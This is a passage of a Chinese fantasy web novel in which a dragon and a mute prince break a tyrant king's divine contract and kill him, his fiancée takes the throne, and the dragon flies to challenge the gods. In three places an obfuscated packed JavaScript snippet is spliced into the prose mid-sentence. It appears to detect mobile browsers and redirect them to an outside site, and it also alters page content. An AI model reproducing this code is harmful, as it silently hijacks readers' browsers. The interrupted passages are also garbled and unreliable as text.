她甚至没有说“我后悔救你”,或是“你会遭报应”,仿佛早已预料到自己的真心会被辜负。又或许她根本没多想,一个半大孩子保护了身边的小孩子,一个心狠手辣的王子杀死了潜在的竞争对手,两件事都很常见,互不相干。 “玛格丽特是自愿的,欧仁妮也是自愿的。”阿利斯塔反复咀嚼着这个论断,“她们不聪明,所以才为别人牺牲。” 他裹着一身血气,孤绝地穿过无尽的回廊,朝书房走去。 头顶的天花板上彩绘着众神,祂们有无数双视而不见的眼睛,光芒黯淡将熄。 露维亚与欧仁妮的打斗仍在继续。 当女奴们从惊愕中清醒过来,全都逃走之后,露维亚开始好奇地与人类交流,她对欧仁妮的战斗方式很感兴趣。 她徒手格开欧仁妮的刀刃,问:“你臂力不够,所以每一击都后撤半步,再用腰身带动,对吗?” “是的。 ” “那你又是怎么知道要刺向这个方位呢?” “经验。” 欧仁妮气喘吁吁,她已竭尽全力,龙女士却把这当成玩耍,一根头发丝都没乱,“体格上没优势,必须寻找以弱胜强的方法。” “克里尔舅舅也这么说。公龙们很爱打架,在角相撞断掉之前,战斗的结果始终充满变数,以弱胜强的情况时有发生。弱者要做最有效率的攻击,强者必须减少失误。” 欧仁妮认为他总结的没错,又问:“克里尔还好吗?” “什么?” “他说回去后会被打二十鞭,”欧仁妮捉着刀柄,表情有些许担忧,“我知道他皮糙肉厚,但神界的鞭刑听上很可怕。” 露维亚刚要回答,全副武装的近卫们便破门而入。她只好刹住话,继续配合欧仁妮,复现三百年前的场景,扮演恶龙,成就英雄的美名。 重装卫兵穿过窄门,朝她笨拙地攻过来,像一堆铁皮罐子似的叮咣作响。 混乱中,伊瑟恩朝露维亚打手势,提醒她差不多了,快去追阿利斯塔。 露维亚心领神会,横抱起伊瑟恩破窗而出。在离开建筑物的一瞬,她的翅膀骤然展开,带出恐怖的风声。人们探身看向窗外,却只见到夜色茫茫,恶龙已携着王子彻底消失,再无踪迹。 “陛下那么厉害,怎么能留欧仁妮小姐一个人?”一个近卫压低声音嘟囔。 “闭嘴,你不要命了!”同伴迅速打断他。 欧仁妮不以为意,她声音沉稳,带着令人安心的力量:“诸位,不必惊慌。你们也看到了,我还活着。那条龙并没能把我怎么样。” 她停顿片刻,目光扫过面罩下隐没的面容,“分派人手轮流值夜,一旦发现龙踪,立即敲钟示警。所有人集中到主殿周围,不要落单。” 他们静静地看着这个发号施令的年轻淑女,空气凝滞了许久。 欧仁妮拥有国王的授权,有直面恶龙的勇气,还是阿利斯塔未来的王后。高贵、勇武与不幸交织成独特的魅力。 秋夜的寒意透过窗子,渗入心扉,某种坚不可摧的信念在悄然动摇。盔甲遮住了表情,却挡不住默契,他们不约而同地对欧仁妮生出敬佩与同情。前者让他们愿意听从她的命令,后者让他们不至于像对阿利斯塔那样,畏惧的同时,暗暗地憎恶她。 欧仁妮垂下眼帘,掩藏眸中暗涌的情绪:“至于陛下......他是神眷者,我们不必为他忧心。” 露维亚循着血液在空气中残留的味道,锁定了阿利斯塔的去向。推开门却发现房内空无一人。 “这是藏书室吗?” 伊瑟恩摇头。这不是他能偷偷溜进去的藏书室,而是是国王专属的书房,他对屋内的布局一无所知,只能猜测,此处应有密室或逃生通道。 墙角有一座鹿形雕像,他轻轻扳动鹿头,机关却毫无反应,他摸到一层薄薄的尘埃。指尖的触感让他想起妈妈,她曾在这里谨小慎微地工作。 痛苦趁机袭来,但伊瑟恩强自克制。他逐一拉开书房内未上锁的抽屉与斗柜。各种各样的文件、报告与印章静静躺在其中。 没一样和魔法有关的东西。 露维亚也在认真寻找阿利斯塔的下落,只不过,她的方式更为粗暴。一声巨响之后,靠墙的一整排实木书柜四分五裂。 露维亚深吸一口气,又缓缓呼出,金色的眼珠微微发光,她把闻到的信息与记忆中的各种事物做对照。 片刻后,她说出结论:“潮湿的木头味,还有沤烂的葡萄,晒干的苹果皮,还有小红莓、覆盆子,全都腐烂了……甜丝丝的,又有点发酸。” 伊瑟恩紧蹙的眉头一点点松开,他明白了。他在露维亚的手心写:酒。 “哈!酒的味道这么丰富么?” 伊瑟恩告诉她通道应该连接着地下酒窖。露维亚立刻俯身释放一道微弱的魔力,在地板上切割出一个正圆形的洞。 “抱紧我,伊瑟恩。” 金发青年伸出线条优美的手臂,攀住露维亚的脖颈,将下巴搭在她的肩窝。 他们层层下坠,最终跌入储酒间,稳稳落地。淡淡霉味和浓重的酒气扑面而来,巨大的酒桶整齐地码放在两旁。 阿利斯塔果然在这里。 “无论你想把自己的心灵藏到哪里,现在都来不及。” “不,你搞错了。”阿利斯塔表情十分平静,甚至从容不迫地朝她走近,手中抓着羊皮纸卷,挑衅似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444256|166567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的晃了晃,“你无法破坏它,这是我与神明平等的契约,永恒运转,牢不可破。” 露维亚轻哼一声,并不把神明许诺的“平等”与凡人口中的“永恒”当真。 “是么?既然你什么都不怕,干嘛丢下未婚妻,转身就逃?” 阿利斯塔不回,反问露维亚为什么被伊瑟恩牵着鼻子走。 “我不知道以你的智慧能否理解。他是我送你的礼物,你享用就够了。他应该想方设法讨你欢心,而不是相反。” 她被这傲慢的发言激怒,一拳正中阿利斯塔的脸,几乎把他的骨头打碎,整张脸都凹陷进去,鲜血淋漓,肉屑横飞。 可很快,他的头颅开始诡异地发光,细小的元素由四周飞来,汇聚在一起。无生命的物质填补到他的伤口里,化为阿利斯塔的一部分。 他转而又看向伊瑟恩,狠毒地说:“你妈妈曾让我很快活,她那么温顺,你却总是不乖。” 美丽的蓝眼像风暴狂涌的怒海,伊瑟恩不知哪里来的力气,狠狠将阿利斯塔推倒在地。踢啊、打啊,恨不得从阿利斯塔身上扯一块肉下来。 这样的攻击毫无章法,但谁能阻止他为妈妈出气? 凭什么……凭什么!阿利斯塔怎么可以在儿子面前这样羞辱一位母亲。 他伤害弱者,伤害女人,完全没有心,作恶像呼吸一样简单。神明却给了他赦免,给了他能力。 一时间,厌恶和愤怒都达到了顶峰,伊瑟恩也闻到露维亚描述的那种腐烂的气味,烂掉了,这个世界烂掉了!一切都不对! 可是,这样的世界似乎永无尽头,连带着阿利斯塔都永垂不朽。 伊瑟恩的殴打没给阿利斯塔留下任何伤痕,冰冷的死物源源不断地涌来,成为暴君新的血肉。 这不公平。 露维亚怀疑阿利斯塔连疼痛的感觉都没有。 她搀扶起伊瑟恩,擦拭他的泪水,攥住他因出离愤怒而颤抖不已的手,“你先别着急……别急。” 说罢,她倒空了一个酒桶,把阿利斯塔随时可以放弃的身体塞进去,用魔法封死了,只给他留个气孔呼吸。 然后,她拿起那卷羊皮纸,仔细研究。这是一份用古语真言写就的契约,和镜子背面的诅咒一样,有着绝对的效力,聚合法阵就在文字的后面。 “伊瑟恩,他献祭了血亲,与神做交易,可你也是那两位公主的亲人。既然神讲求公平,来,把你的血滴在上边。” 她不确定这能发挥多大作用。但由古语真言写就的魔法,总是严格遵循语言的本义,以文字为唯一解释。 “伊瑟恩,如果你的愿力胜过他的,他的心灵就无法继续寄存在这张纸上了。” 伊瑟恩双手合十,泪如雨下。他许愿姐姐妹妹们的灵魂安息,许愿若有来生,妈妈不要再遇见先王,不要遇见阿利斯塔。 然而根本没有转世这么一回事。露维亚又心疼,又无奈,要求他必须贪心一点,为自己索求些什么。伊瑟恩想了很久很久,终于按下血手印。 他想发出声音。 他想说话,想对露维亚说“我爱你”,想对阿利斯塔说“狗东西,你去死吧”。 29.第 29 章 希尔弗国王被囚于酒桶,无法行动,只能继续用言语攻击伊瑟恩,“别痴心妄想了。” 一个空有美貌的小杂种,天生的玩物。他连话都不会说,可想而知为了讨好那头母龙卖了多少力气。 伊瑟恩没有任何才能,也没有伟大的梦想。这样的人怎么可能得到神明的眷顾? 没错,那两个公主也是伊瑟恩的血亲,但是,他们的血不一样。阿利斯塔相信自己生来就比伊瑟恩高贵。 “神明绝对不会满足你的愿望。”阿利斯塔轻蔑地说。 可他不知道无论是露维亚,还是伊瑟恩,谁都不敬神明。 真弱。 露维亚觉得,别看阿利斯塔野心勃勃,发起战争,关键时刻也不过是个虚张声势的懦夫。 他得到了能力,却没用自己的能力使任何人幸福。像棵有毒的植物似的,只有自己开得鲜艳,周边寸草不生,连脚下的土地都冒着不祥的黑烟。 伊瑟恩觉得,自己真傻,竟被这么个色厉内荏的家伙吓破了胆,也许早就能杀了他。 即便自己年纪小,没有武器,也能做点什么。在阿利斯塔没有得到神眷那些年,完全可以烧一壶滚烫的水,趁他不备浇下去;或者在他的马鞍下面藏一颗尖锐的小石子,古往今来,死于坠马的贵族可不在少数…… 他们谁也不理阿利斯塔的挑衅,专心地盯着神眷者的契约。随着血迹的渗透,羊皮纸卷上的魔法阵开始褪色。 伊瑟恩张开嘴,喉头用力,咳嗽了一声。露维亚刚要为他高兴,可紧接着,就不再有别的动静了。呼吸声擦着牙齿缝,像受伤的小动物的喘息。 他们成功钻了空子,令魔法更改了判定。遗憾的是,伊瑟恩没能实现心愿。 就像掷骰子的游戏,得到了同样的点数,两股不同的愿力打成平手。 露维亚轻轻地揉捻爱人金灿灿的头发,安抚地说道:“可能需要一点时间。” 伊瑟恩摇头表示没关系,他哑了太久,早就接受了自己的残缺,只要能破坏法阵就行。 他收了眼泪,比划着问:阿利斯塔不能再复活了,对么? 露维亚抬手在空气中施法,掣出一把锋利的匕首,让他亲自去验证。于是伊瑟恩接过武器,缓步走向阿利斯塔,俯视那摆布他命运的人。 阿利斯塔眼里布满血丝。 任何人被关在一个酒桶里都会威风扫地,可他却高傲地瞪着伊瑟恩,试图在伊瑟恩脸上看到犹豫又胆怯的表情。 “伊瑟恩,你只不过是找到了好主人。你依旧……什么也不是……” 伊瑟恩心想,也许吧,随便你怎么说。就凭这世界上没有一个人真心想让你活着,你就已经输给我了。 你才什么都不是。 视线交汇时,阿利斯塔蓦地僵住了,凶狠的神色被一种无法形容的恍惚取代。无论比喻成昂贵的蓝宝石,还是廉价的玻璃球,这都是双极其好看的眼睛。 而这双美目的主人只是哭过,并没有被击垮。犹如苦胆汁被打翻,阿利斯塔心中生起痛恨。他杀死了伊瑟恩的妈妈,剥夺了伊瑟恩的待遇,还把这小哑巴扔到了灰烬森林,成为龙的祭品——他就是有资格这么做! 可是,伊瑟恩竟然没有被摧毁,还用刀指着他,还用那种轻蔑的眼神看着他! “你很像她。琳达是个娼妓,你也一样!” 琳达?听到妈妈的名字,伊瑟恩身体晃了晃,心都要碎了。 这时,露维亚帮他开口,恶狠狠地对阿利斯塔说:“你给我好好回想!你答应过她什么!她的家乡在哪儿?” “我怎么会记得。”他故作震惊,一副大为困惑的样子,反问露维亚,“你会记住自己吃过的每一餐么?此前被送往灰烬森林的十个少女,你每个都记得么?” “当然。当然……”意识到阿利斯塔毫无悔意,露维亚低声宣判,“伊瑟恩,咱们别问他,根本不需要问他。动手!” 伊瑟恩听话照做。扬起匕首朝阿利斯塔的胸口刺去,在割破他的皮肤之前,又骤然悬停。刀尖一寸寸地挪到了阿利斯塔的咽喉。 鲜血汩汩涌出,受伤的同时就开始了愈合,但神眷无疑正在消退,阿利斯塔久违地感到了疼。 气管被插穿,血像喷泉一样往外冒,他痛苦地呛了起来。 玛格丽特公主当初也这么疼吗? 阿利斯塔亲手杀死过很多人,内心毫无波澜。但玛格丽特终究有些不同,他也说不上来是为什么。 “为什么不再来一刀,被人救下可怎么办?”露维亚问。 伊瑟恩摇摇头。 就是要让人们都知道他失去了不死的能力,没人会救他的。 “也对,”露维亚促狭地挤挤眼睛,“那就祝他好运。别被恨他的人先找到了。” 龙洗劫了藏书室,带着王子飞走,飞向夜空。 今夜无月,似乎美中不足,然而头顶的星星安静地闪耀着,组成神秘的图形,静谧美丽。自由的生活刚刚开始,露维亚很满意生命中第一个夜晚。 伊瑟恩也满意。他趴在露维亚的背上犯困,眼睛肿得厉害,但是哭完了以后,他感觉自己轻得像片羽毛。 露维亚有翅膀,他也有双腿。露维亚说愿意陪他去收集故事和歌谣,那会是很有意思的旅程。若能走遍世界,总有一个地方会是妈妈的故乡,他这样相信着。 这一夜后,希尔弗王宫发生了巨变,欧仁妮在阿利斯塔还剩一口气时,迅速请人公证了他们的婚姻。 阿利斯塔也挣扎着在婚书上写下名字,字迹歪歪扭扭,没人知道他是怎么想的。欧仁妮为此对他笑了笑,算得上仁慈。 没有婚礼和加冕,很难服众,但一时之间,希尔弗人也没有更好的选择,因为诺克雷的军队已经准备好了。 这也是阿利斯塔此生对希尔弗做的唯一一件有益的事情:把自己搞砸的烂摊子交到“妻子”的手上。 没有一位医生胆敢拔掉那把小刀,神眷者的身体逐渐变得和普通人一样,先是血流如注,然后又变得滴滴答答,血染红了床褥,用了不知道多少纱布和绷带,根本没有用。 漫长的三天后,阿利斯塔死了。 欧仁妮身负臣民的期望,亲赴北境的圣山,与戴安女王谈判,可以想见这是桩多么困难的谈判。焦头烂额的情况让人们无暇处理龙灾,好在那头红色的母龙再也没有飞来。 天气一天比一天冷,井边打水的人们缩着手,不停跺脚,嘴里呼出白色的水汽。 国王们来来回回,平民的日常生活悠久不变。他们照旧打水,讨论面包和黄油的价格,交换所知的新闻。 “唉!愁啊。欧仁妮王后……姑且叫她王后吧!她现在就像一块刚出炉的热蛋糕那样受欢迎。北境的继承人,八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454256|166567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分之一王族的血,阿利斯塔陛下的遗孀!四面八方所有的国王、王子、大公爵,没一个不想求娶她的,到时候咱们就要被异国人统治了!” 这焦虑却不失合理性的观点立刻得到附和,“是啊,是啊!都怪那条龙,突然跑来捣乱,要是阿利斯塔陛下还在的话……” 艾达打断了他,她现在格外敢想敢说:“要是阿利斯塔陛下还在,你现在怎么会在这儿打水?你早上了战场,成了第一批阵亡名单上的人了。要我说,欧仁妮王后未必搞不定局面。” 那人听了挺不服气。 他并非留恋暴君的统治,或者赞成这场莫名其妙的战争,只是怀念过去的确定性。 就好比一群狮子,领头的雄狮哪怕什么好事也不干,只要足够健壮,就能让它的敌人害怕。 “你说说她怎么搞定局面?你懂什么啊!” 艾达眉毛一挑,“你难道没听说,龙是被欧仁妮王后击退的么?她怎么战胜龙,就怎么解决边境的危机。就这么简单。” 谁也不能说她错,谁也不知道未来会怎样。他们只是些最普通的人,见识有限,无权无势。赢了一万次井边的辩论,也无法改变什么。 甚至连艾达自己也说不清,她到底是在陈述所知的事实,还是在编一个能让自己满意的故事。 但是话说出来后,心里痛快多了。哪怕她说得不对,又能怎么着?龙的事,谁知道呢。 可能只有伊瑟恩殿下知道。 他是这个世界上最了解龙的人类。他知道龙全部的智慧、美德与力量。 伊瑟恩每天都在认真养护露维亚的长角。他温柔又认真地往龙角上涂抹霜脂巨鲸的油脂。等露维亚化为人形时,他会恰到好处的力度按揉龙女士的头皮,让营养浸润到发丝根部。 他给她清洁鳞片,修剪长歪了的指甲。 这是认真备战,也是好好生活。 又一百个昼夜过去之后,克里尔舅舅造访龙窟。 “听着,露维亚。好机会!预言之神陨落,神王更加确定不了神妻腹中的孩子会不会是复仇之神,于是不敢让她们分娩。祂试着分出自己的一部分神识,效仿元初神创世的方法,不再借助人类的子宫,而是直接新造神祇……总之!现在祂比以前虚弱!” “完全搞不懂。”露维亚说,“祂到底为什么这么执着生孩子?神后都不在了。” “因为有太多空置的神位嘛!” 露维亚眼珠闪了闪,识破这理由的荒谬,“不,世界不需要神明。你知道吗,人类会自己造神,那个诺克雷女王就自己造了一个‘复仇女神’。欧仁妮说,她以后还要推行新的宗教,让希尔弗人崇拜龙,好增加她的权威。” 克里尔:“……” “你觉得她做不到?” “不,我只是觉得,咱们说的好像不是一回事。虚构的神和真实存在的神又不一样。”克里尔的脑子回不过弯。 露维亚耸耸肩:“我觉得没什么区别。能在故事里打败敌人,就能在现实中打败祂,舅舅,你会支持我吗?” 克里尔懊恼地大叫:“可恶的露维亚!难道你没有发现,我早就站在你这边了吗?我,我爱我的姐姐迦娜,我也爱你,我跟图尔关系也不错,连伊瑟恩我都接受了!你现在还问这种问题……” 他被气坏了,伊瑟恩在旁边无声地笑,肩膀一抖一抖的。 30.第 30 章 克里尔匆匆来,匆匆去,却在飞到半途时想起去找欧仁妮。 在神界,龙是神明的仆从,而在人间,龙很邪恶。他很想知道她到底是怎么计划的。 乌云一样的黑龙飞过希尔弗上空,人们简直要被吓到心脏停止跳动。 残暴的神眷者刚死,诺克雷女王的复仇之火又烧过来,龙的阴影笼罩还在头顶,真是多灾多难。 当克里尔憨笑着出现在欧仁妮的身后时,她刚刚完成重要的文件签署。权力让她饱足也让她感到轻微的焦虑。 “恭喜你刚结婚就死了丈夫。”克里尔突然说。 欧仁妮先是一惊,一扭头,脸差点撞进克里尔坚如铁板的身上。等克里尔后退一步,视线忽地亮了起来。 “你说的是人类语言,不过……我确信没有人类会这么讲话。” “和国王结婚才能当王后,丈夫死了才能当国王。”克里尔挠挠头,“我理解错了么?” 欧仁妮放弃解释:“没有。” “可是你看上去不太开心。” 欧仁妮说:“嗯。遇到了困难。如果不是我在边境小胜一场,擒住了索鲁人的头领,把他交给戴安女王处置,诺克雷的军队早就把我们打烂了——希尔弗不占理,又人心涣散,根本无法一战,争取和谈是最优解。可我无耻的臣下们把这当成我无能的证据。” “你是说你接了烂摊子,对吗?” “我想是的。”她顿了顿,又说,“但如果不是个烂摊子,也轮不到我。” 面对一头对人类社会一知半解的龙,欧仁妮难得地放松了神经,向他倾诉起来。对其他人,哪怕是埃里克森,她都不能流露出任何软弱。因为她是做决定的那个,她必须表现得一切尽在掌握才行。 “以前人们能容忍的政令,换我来发布就全是反对的声音。如果我加以变革,人们又说我太柔弱了,难堪大用。再看看国库里的钱,我真发愁。阿利斯塔用人们的钱养肥了一堆只会拍马屁的废物。我把他们的头都砍了。这下可好,人们开始说我和他一样残忍。” “我最近下令杀了很多、很多的人。”她幽幽地说。 克里尔说:“那也没什么。你们人类族群庞大,*多得是杀不完的人。何况人本来也活不了几十年” 他的话相当冷血,天真又残酷,成功让欧仁妮愣了愣:“你这么说,难道我杀错了也没关系?” “不,我只是觉得‘杀’这个行为很普通。你能杀人,别人也能杀你。比起别人怎么说,你自己怎么想更重要吧。” 克里尔说话的神态介于哲学家和白痴之间,像是认真思考了,又像完全没过脑子。他让欧仁妮感到新鲜,同时感到解脱。 仔细想想也对,她是在当国王,又不是参加道德评比。初衷不坏,就是仁慈;结果有益,就是英明。 “谢谢你,克里尔。” “这有什么好谢的?”他切入正题,眼睛里闪烁着兴奋的光,“快说说那个崇拜龙的宗教!” “阿利斯塔的威信建立在人们的恐惧上,他培养出了一群最势利的人,所以我不仅得比他好,还要证明自己比他更强,聪明的龙,你告诉我,我该怎么做?” 克里尔的大脑开始转动。 “你得打胜仗。” 欧仁妮点头:“没错。但即便如此,人们也不一定认可我。别看现在他们不愿意站出来,真等我把局面处理好了,他们就该开始说我只是运气好。” “那么就去打败一个更强大的敌人,别人都打不赢的那种。” “我也这么认为。屠龙就是个不错的选择,你愿意把脑袋借给我用么?” “当然不能!”克里尔低呼。 过了一会儿,他才反应过来这只是个玩笑。龇牙朝她笑了笑。 欧仁妮也笑:“所以,我要想些新名堂,比如,勇士之王,通过试炼的驭龙者什么的。” 他觉得自己听懂了。 “驭龙者是么?好的,我这就带你出去飞一圈。” 欧仁妮张了张嘴,想说“不”,不用这么着急,但是为什么不?飞行的感觉实在美妙,她无法拒绝。 出发去神界时露维亚选了一个晴日,阳光在她半透明的红鳞上镀了一层金色。令她威风凛凛。 伊瑟恩想跟她一起去,当然遭到露维亚的拒绝,这会是场激烈战斗,打起来根本谁也顾不上谁。 道理伊瑟恩都懂,可他是人类,人类弱小、无知、害怕失去,不安于未知和变数,却也不自量力地想守护珍贵的东西。只要他能帮一点忙,就不想留在原地等待。 他勉力微笑,满眼担忧,温柔地抠抠露维亚的手掌心:答应我平安回来…… “当然。你要相信预言之神。祂不是说弑神者必然是我么。”那是他们一起杀死的神祇,现在倒要拿手下败将的话当希望。 可他还能怎么办?他只好点头。 伊瑟恩给露维亚编了一个极漂亮的花环,在临别之际,不断亲吻露维亚的面颊,鳞片比金属更硬,像是在亲吻铠甲,让人安心。他把花环穿在她象牙色的角上,祝福这武器能保持锋利,永不摧折。 赤红的龙奋勇地飞去,刺破天空。伊瑟恩痴痴地仰头望着,直到再也看不见她的身影。 他回到龙窟,抬腿迈过传送阵去采集藏在灌木丛中的果子,露维亚喜欢吃,但不同于树果,它们太小了,露维亚总是没耐心去寻,所以伊瑟恩会替她摘好。 世界尽头的岛屿已经被他踩出一条清晰的小路。荆棘、茉莉、火桶树和各种古老的蕨类植物,如千百双被海风吹动的手,它们是元初神的造物,构成凶蛮又温柔的大自然,和伊瑟恩一并等待龙女士归来。 露维亚越飞越高,地面的景色再不断缩小,大地变成了多彩的色块,到最后它们连颜色都融化消失,惟余莽莽。 踏入神界后,她遇到的第一道阻碍正是样貌与她相若的同族。 龙居住在神界最外缘的云层,此刻,母龙们或垂着头休息,以安逸的姿态趴伏在柔软的云上,或以极小的声音和同伴交谈着什么,喉咙里闷闷作响。 尚未学会飞翔的幼龙依傍着自己的母亲,也有性格活泼的,像发疯的小怪物一样活力四射,追着自己的尾巴尖,转着圈跑——露维亚小时候也这样干过。 一副很美的画面,生机勃勃,温情脉脉。每一头龙的鳞片都很亮泽,每一头龙的角都是完整的。 露维亚不由得又靠近了些。 华丽的龙车在她们身后停驻,龙车旁边是配套的缰绳,以及由神力编织而成的白色长鞭。她们在等待着神王或其他神祇出行的召令。 如果当初的事没发生,露维亚会是一头怎样的龙?还会这么暴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466986|166567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躁又任性吗?她试着在脑海中勾勒自己身上套着轭,给神王拉车的样子,然后,从骨髓深处生出一股憎恶。 只是稍微想一下就开始难受。心中柔软的期盼纷纷粉碎,她不再奢望她们能直接放自己过去了。 “你们谁先来,还是一起上!”她咆哮着,愤怒得莫名其妙。 有头龙认出了她:“瞧啊,一头红色的龙,可真漂亮。你只能是迦娜和图尔的女儿,被流放的露维亚。” 露维亚身上散发着浓烈的硫磺气息,她本想释放出一团炙烫的龙炎,以火焰开场,却突然哽住。 对方缓慢地站起身,佝偻着身体,收拢膜翼,用单侧翅膀护着自己鼓胀的腹部。 这是头怀孕的母龙。 母龙的孕期不长,约六个月左右,生下蛋后,幼龙还会在蛋壳中继续生长。所以她们怀孕时不像人类那么辛苦,会把更多的精力花在孵化上。 她愣了愣,然后金眸颤抖,“太卑鄙了,你要么战斗,要么就认输逃跑。怎么!你以为我会怜悯你么?我不!你们这群叛徒,你难道感觉不到鞭子打在身上的疼?你难道能说这是荣耀而非屈辱?” 露维亚孑然一身,却大骂这一群龙是叛徒,令年长的母龙有些无奈。 无视露维亚激烈的言辞,她用极度平和的声音说:“为什么要这么想呢。我们生活得很好。神王又不是天天都乘龙车巡行天际。” 显然,她把露维亚当成了幼稚鬼,或是因流放生活而变得偏激的叛逆小孩。 露维亚咬牙切齿,气道:“那你的孩子呢!你允许祂打你的孩子么?” 对方短暂地迟疑,她想了想,笑意似有若无:“我当然会好好教孩子,我……我的孩子会是个好孩子,不犯错就不会挨鞭子。” “闭嘴,蠢货!我不会再听你说话了。你比迦娜差远了,你根本不爱你的孩子,你把孩子生下来,好好教育,教成奴隶。就是为了安稳的生活。可我自己生活了三百年,谁都没让我做过不想做的事。海里全是鱼,怎么会活不下去?” 那母龙张了张嘴,想再劝阻。上次有龙谋逆,神王只处理他们一家三口。这次呢?惹祂生气的代价是失去一切。 三百年前,迦娜在这里粉身碎骨,血泼洒下来,像漫天大雨一样泼洒下来,腥味仿佛还残留在空气中。龙的记忆那么清楚,那种恐惧从未散去。 她的女儿为何不吸取任何教训? 多么愚蠢的母亲,多么莽撞的女儿。 “傻瓜……你……” “让开!” 露维亚迈出了第一步,她就是要去找祂,就是要砸烂祂的龙车,烧毁祂的天国乐园,就是要祂付出同样的代价。 因为她也生气了。 她也生气了很久、很久。 母龙们团团围过来,有的拖住她的手脚,有的咬住她的尾巴,那怀孕的同族更是吃准了她会像图尔一样心软,正面挡在她身前。 露维亚不推她,不打她,而是“噗呲”一声朝她吐了口水,龙的涎液有治愈功能,所以她们没读懂露维亚这个动作。 这是人类的语言,露维亚在唾弃同类的软弱。 很奇怪,那明明是无害而有益的液体,落在那头母龙身上时,她却觉得自己像是被灼伤了。 露维亚双翼猛振,尾巴用力一甩,她们没能拦住她。